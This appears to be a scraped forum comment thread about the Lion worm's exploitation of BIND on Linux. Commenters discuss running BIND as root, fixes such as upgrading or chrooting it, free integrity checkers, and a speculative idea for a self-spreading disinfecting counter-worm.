2.) This is a BIND problem that only effects x86 linux platforms because that is what the binaries of the rootkit were compiled for. This problem could potentially effect every *nix AND win32 based systems that run BIND. The main problem here is that BIND runs as root. This situation can be fixed by: upgrading to a newer version of BIND, by running djbdns, by running a chrooted BIND, etc.
Space may be the final frontier, but it's made in a Hollywood basement. --Red Hot Chili Peppers, Californication
Why would I want to run a closed source worm on my system???
FreeVeracity
Tripwire is now a pay for play product, so I suggest using something like this which is open source/free and just as good
Secret Mir Casualty
360 degrees of Karma
I noticed in the article that a partial fix
(LionFind) has been released. So, I have to ask...
why not write LionFind so it can break into
machines infected by Lion through the security
hole created by Lion, inform the machine's owner,
close the hole, and then use that box to look for
the next box to disinfect?
-G.
--
Signature temporarily unavailable. Please try again.
"Experience is what you get when you don't get what you want."
Linux is a strong OS but as it has grown in popularity and usage did anybody really doubt that people would start to create viruses and other nusiances that could be intrinsically more dangerous then existing win viruses? It just goes to show that a bare install can be dangerously compromised by any amatuer and as such linux really should be run by professionals who know what they are doing.. i mean how many of you still come across people running as ROOT???